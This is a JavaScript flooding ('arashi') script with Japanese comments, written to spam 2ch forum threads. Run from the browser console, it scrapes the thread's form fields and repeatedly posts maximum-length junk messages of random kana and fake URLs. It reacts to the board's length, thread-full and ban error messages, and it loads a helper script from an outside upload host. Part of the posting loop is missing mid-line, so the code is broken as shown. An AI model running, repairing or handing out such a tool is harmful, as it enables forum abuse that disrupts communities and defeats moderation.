/********************************2ch嵐スクリプト******************************** 説明 1.下記の6つの変数を設定します 2.JavaScriptが実行できるブラウザでスレを開きます(例:http://potato.2ch.net/test/read.cgi/jisaku/1485778450/) 3.コンソールかなんかで実行します 備考 このスクリプトはecl.jsが必須です。44行目付近のsetup.srcのURLはリンク切れになったら適当に設定してね INTERVAL: 投稿間隔 FROM: 名前 MAIL: メ欄 LENGTH: 投稿の文字数 TIMES: 一瞬の内に何回連投するか(2回でもある程度安定、3回だとほぼ無理) STRINGS: http://、またはhttps://の後に出す文字列、[,]で区切る *****************************************************************************/ var INTERVAL = 15000; var FROM = ""; var MAIL = "sage"; var LENGTH = 2048; var TIMES = 2; var STRINGS = "あ,い,う,え,お,か,き,く,け,こ,さ,し,す,せ,そ,た,ち,つ,て,と,な,に,ぬ,ね,の,は,ひ,ふ,へ,ほ,ま,み,む,め,も,や,ゆ,よ,ら,り,る,れ,ろ,わ,ゐ,う,ゑ,を,ん"; //////////////////////////////////////////////////////// var POSTURL = document.getElementsByTagName("form")[document.getElementsByTagName("form").length-1].action; var BBS = document.getElementsByName("bbs")[document.getElementsByName("bbs").length-1].value; var KEY = document.getElementsByName("key")[document.getElementsByName("key").length-1].value; var setup = document.createElement('script'); setup.interval = INTERVAL; setup.from = FROM; setup.mail = MAIL; setup.len = LENGTH; setup.posturl = POSTURL; setup.bbs = BBS; setup.key = KEY; setup.times = TIMES; setup.strings = STRINGS; setup.src = "http://rusty.tank.jp/upload/upl/koDiOeX5gqPC2ilZ2q1I.txt"; setup.onload = Init; document.getElementsByTagName('head')[0].appendChild(setup); function Init(){ var arashi = new Arashi(this.interval, this.from, this.mail, this.len, this.posturl, this.bbs, this.key, this.times, this.strings); arashi.Loop(); } function Arashi(interval, from, mail, len, posturl, bbs, key, times, strings){ var successCount = 0; var that = this; this.Loop = function(){ successCount = 0; var messages = new Array(); for(var i=0;i"); //+35 if( emsgFrom != -1 ){ var emsgTo = this.responseText.indexOf("", emsgFrom + 35); var emsg = this.responseText.slice(emsgFrom + 35, emsgTo); } else{ emsg = ""; } if( successCount == -1 ) return; if( emsg.indexOf("ERROR: このスレッドは512kを超えているので書けません!") != -1 ){ successCount = -1; alert("おしまい"); return; } if( emsg.indexOf("ERROR: このホストはBBx規制中です。") != -1 ){ successCount = -1; alert("やられた"); return; } if( emsg.indexOf("ERROR: 本文が長すぎます!") != -1 ){ var lenFrom = emsg.indexOf("/") + 1; //+1 var lenTo = emsg.indexOf(")", lenFrom); len = Number( emsg.slice(lenFrom, lenTo) ); message = HugeString2ch(len, strings, true); post2ch(posturl, message, from, mail, bbs, key, that.CheckResponse); return; } successCount++; if(successCount == times) setTimeout(that.Loop, interval); } } function post2ch(posturl, msg, from, mail, bbs, key, callback){ var paramsString = "time=" + String( Math.floor( new Date().getTime() / 1000 ) - 100 ) + "&MESSAGE=" + EscapeSJIS(msg) + "&FROM=" + EscapeSJIS(from) + "&mail=" + EscapeSJIS(mail) + "&bbs=" + bbs + "&key=" + key; var req = new XMLHttpRequest(); req.open("POST", posturl); req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;"); req.onload = callback; req.send(paramsString); } function postThreadTo2ch(posturl, title, msg, from, mail, bbs, callback){ var paramsString = "time=" + String( Math.floor( new Date().getTime() / 1000 ) - 100 ) + "&submit=Bring+up+New+Thread" + "&subject=" + encodeURI(title) + "&MESSAGE=" + encodeURI(msg) + "&FROM=" + from + "&mail=" + mail + "&bbs=" + bbs; var req = new XMLHttpRequest(); req.open("POST", posturl); req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;"); req.onload = callback; req.send(paramsString); } function HugeString2ch(length, injection, isHttp){ //injectionは各文字列大体250B以内 const maxLineCharAmount = 250; var injectArray = injection.split(","); var tmpStr = ""; var realLength = 0; var editedLength = 0; var i = 0; var lastI = 0; var lastRealLength = 0; while(true){ if( isHttp == true){ if( Math.floor(Math.random()*2) == 0 ) tmpStr += "http://"; else tmpStr += "https://"; } tmpStr += injectArray[Math.floor(Math.random()*injectArray.length)]; tmpStr += " "; if( tmpStr.length >= length ) break; } var tmpArray = Array.from(tmpStr); while(true){ realLength += BinaryLength( tmpArray[i] ); if( realLength >= length ) break; if( realLength - editedLength >= maxLineCharAmount ){ tmpArray[lastI] = "\n"; i = lastI; realLength = lastRealLength + 6 - 1; //何故か改行は6Byte、-1は既に増加したスペースの差分 editedLength = realLength; } if( tmpArray[i] == " " ){ lastI = i; lastRealLength = realLength; } i++; } tmpStr = tmpArray.join("").substr(0, lastI); return tmpStr; } function BinaryLength(str){ return escape(str).replace(/%u..../g,"xx").replace(/%../g, "x").length; } function generate(characters, num){ var ret_str = ""; for(var digits=1;;digits++) if( Math.floor( num / Math.pow( characters.length, digits ) ) == 0 ) break; for(var i=1;i<=digits;i++) ret_str += characters[ Math.floor( num / Math.pow(characters.length, digits-i) ) % characters.length ]; return ret_str; }